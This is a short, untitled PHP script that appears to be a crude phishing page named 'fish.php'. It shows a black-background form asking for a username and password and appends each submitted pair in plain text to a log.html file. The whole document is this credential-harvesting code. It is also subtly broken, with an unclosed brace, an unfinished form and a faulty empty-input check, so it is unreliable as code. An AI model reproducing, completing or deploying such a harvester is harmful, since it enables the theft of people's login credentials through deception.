Untitled

<?php

$username = $_POST['user'];
$password = $_POST['pass'];

print '<html>';
print '<form action = "fish.php" method = "post">';
print '<body bgcolor="black">';
print 'User: <input type = "input" name = "user">';
print 'Pass: <input type = "input" name = "pass">';
print '<br/>';
print '<input type = "submit">';

 if ($username && $password == NULL ) exit();
 else {

$fh = fopen("log.html","a");

fwrite($fh,"$username :: $password<br>");

?>